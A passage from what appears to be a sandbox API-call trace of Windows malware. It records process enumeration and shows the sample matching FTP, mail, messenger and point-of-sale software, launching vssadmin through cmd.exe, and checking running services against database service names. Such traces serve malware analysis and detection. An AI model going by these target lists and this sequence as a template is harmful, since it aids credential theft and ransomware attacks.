pcPriClassBase=8, dwFlags=0x0, szExeFile="basename_nested.exe")) returned 1 [0066.029] lstrlenW (lpString="basename_nested.exe") returned 19 [0066.030] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="reserves-pixel-minds.exe")) returned 1 [0066.031] lstrlenW (lpString="reserves-pixel-minds.exe") returned 24 [0066.031] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="securities-cpu-orange.exe")) returned 1 [0066.033] lstrlenW (lpString="securities-cpu-orange.exe") returned 25 [0066.033] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="exotic.exe")) returned 1 [0066.034] lstrlenW (lpString="exotic.exe") returned 10 [0066.034] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fisher arab disable.exe")) returned 1 [0066.036] lstrlenW (lpString="fisher arab disable.exe") returned 23 [0066.036] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="manufacture-mtv.exe")) returned 1 [0066.038] lstrlenW (lpString="manufacture-mtv.exe") returned 19 [0066.038] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="syndicaterssidentity.exe")) returned 1 [0066.040] lstrlenW (lpString="syndicaterssidentity.exe") returned 24 [0066.040] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="belfastcreationdeposit.exe")) returned 1 [0066.041] lstrlenW (lpString="belfastcreationdeposit.exe") returned 26 [0066.041] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="patient.exe")) returned 1 [0066.043] lstrlenW (lpString="patient.exe") returned 11 [0066.043] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="corps.exe")) returned 1 [0066.045] lstrlenW (lpString="corps.exe") returned 9 [0066.045] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="inquire.exe")) returned 1 [0066.046] lstrlenW (lpString="inquire.exe") returned 11 [0066.046] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0066.048] lstrlenW (lpString="3dftp.exe") returned 9 [0066.048] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0066.049] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0066.050] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0066.051] lstrlenW (lpString="alftp.exe") returned 9 [0066.051] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0066.053] lstrlenW (lpString="barca.exe") returned 9 [0066.148] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0066.151] lstrlenW (lpString="bitkinex.exe") returned 12 [0066.151] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0066.152] lstrlenW (lpString="coreftp.exe") returned 11 [0066.152] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0066.154] lstrlenW (lpString="far.exe") returned 7 [0066.154] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0066.156] lstrlenW (lpString="filezilla.exe") returned 13 [0066.156] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0066.157] lstrlenW (lpString="flashfxp.exe") returned 12 [0066.157] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0066.159] lstrlenW (lpString="fling.exe") returned 9 [0066.159] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0066.161] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0066.161] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0066.163] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0066.164] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0066.166] lstrlenW (lpString="icq.exe") returned 7 [0066.166] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0066.168] lstrlenW (lpString="leechftp.exe") returned 12 [0066.169] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0066.171] lstrlenW (lpString="ncftp.exe") returned 9 [0066.171] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0066.174] lstrlenW (lpString="notepad.exe") returned 11 [0066.174] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0066.176] lstrlenW (lpString="operamail.exe") returned 13 [0066.176] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0066.180] lstrlenW (lpString="pidgin.exe") returned 10 [0066.180] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0066.183] lstrlenW (lpString="scriptftp.exe") returned 13 [0066.183] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0066.185] lstrlenW (lpString="skype.exe") returned 9 [0066.185] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0066.187] lstrlenW (lpString="smartftp.exe") returned 12 [0066.187] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0066.189] lstrlenW (lpString="thunderbird.exe") returned 15 [0066.189] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0066.192] lstrlenW (lpString="totalcmd.exe") returned 12 [0066.192] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0066.602] lstrlenW (lpString="trillian.exe") returned 12 [0066.602] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0066.605] lstrlenW (lpString="webdrive.exe") returned 12 [0066.605] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0066.607] lstrlenW (lpString="whatsapp.exe") returned 12 [0066.607] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0066.609] lstrlenW (lpString="winscp.exe") returned 10 [0066.610] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0066.612] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0066.612] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0066.614] lstrlenW (lpString="active-charge.exe") returned 17 [0066.614] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0066.617] lstrlenW (lpString="accupos.exe") returned 11 [0066.617] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0066.620] lstrlenW (lpString="afr38.exe") returned 9 [0066.620] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0066.622] lstrlenW (lpString="aldelo.exe") returned 10 [0066.622] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0066.624] lstrlenW (lpString="ccv_server.exe") returned 14 [0066.624] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0066.626] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0066.627] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0066.629] lstrlenW (lpString="creditservice.exe") returned 17 [0066.629] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0066.631] lstrlenW (lpString="edcsvr.exe") returned 10 [0066.631] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0066.633] lstrlenW (lpString="fpos.exe") returned 8 [0066.633] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0066.635] lstrlenW (lpString="isspos.exe") returned 10 [0066.635] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0066.637] lstrlenW (lpString="mxslipstream.exe") returned 16 [0066.637] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0066.639] lstrlenW (lpString="omnipos.exe") returned 11 [0066.639] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0066.641] lstrlenW (lpString="spcwin.exe") returned 10 [0066.641] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0066.643] lstrlenW (lpString="spgagentservice.exe") returned 19 [0066.644] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0066.645] lstrlenW (lpString="utg2.exe") returned 8 [0066.975] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="amsterdam.exe")) returned 1 [0066.977] lstrlenW (lpString="amsterdam.exe") returned 13 [0066.978] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="targetannounce.exe")) returned 1 [0066.979] lstrlenW (lpString="targetannounce.exe") returned 18 [0066.979] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="managed-davis.exe")) returned 1 [0066.981] lstrlenW (lpString="managed-davis.exe") returned 17 [0066.981] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="discretion_revenue.exe")) returned 1 [0066.983] lstrlenW (lpString="discretion_revenue.exe") returned 22 [0066.983] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="lawyer_canada_wma.exe")) returned 1 [0066.985] lstrlenW (lpString="lawyer_canada_wma.exe") returned 21 [0066.985] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0066.986] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0066.987] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0066.988] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0066.988] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0066.991] lstrlenW (lpString="winhost.exe") returned 11 [0066.991] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xac0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0066.993] lstrlenW (lpString="cmd.exe") returned 7 [0066.993] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0066.994] lstrlenW (lpString="conhost.exe") returned 11 [0066.994] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x990, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0066.996] lstrlenW (lpString="vssadmin.exe") returned 12 [0066.996] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x990, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0066.998] CloseHandle (hObject=0x210) returned 1 [0066.998] Sleep (dwMilliseconds=0x1f4) [0068.506] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x514d48 [0068.507] EnumServicesStatusExW (in: hSCManager=0x514d48, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0068.508] GetLastError () returned 0xea [0068.508] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x134c) returned 0x50e1c8 [0068.509] EnumServicesStatusExW (in: hSCManager=0x514d48, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x50e1c8, cbBufSize=0x134c, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x50e1c8, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0068.510] CloseServiceHandle (hSCObject=0x514d48) returned 1 [0068.511] lstrlenW (lpString="Appinfo") returned 7 [0068.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0068.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0068.511] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0068.511] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0068.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0068.511] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0068.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0068.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0068.512] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0068.512] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0068.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0068.512] lstrlenW (lpString="AudioSrv") returned 8 [0068.512] lstrcmpiW 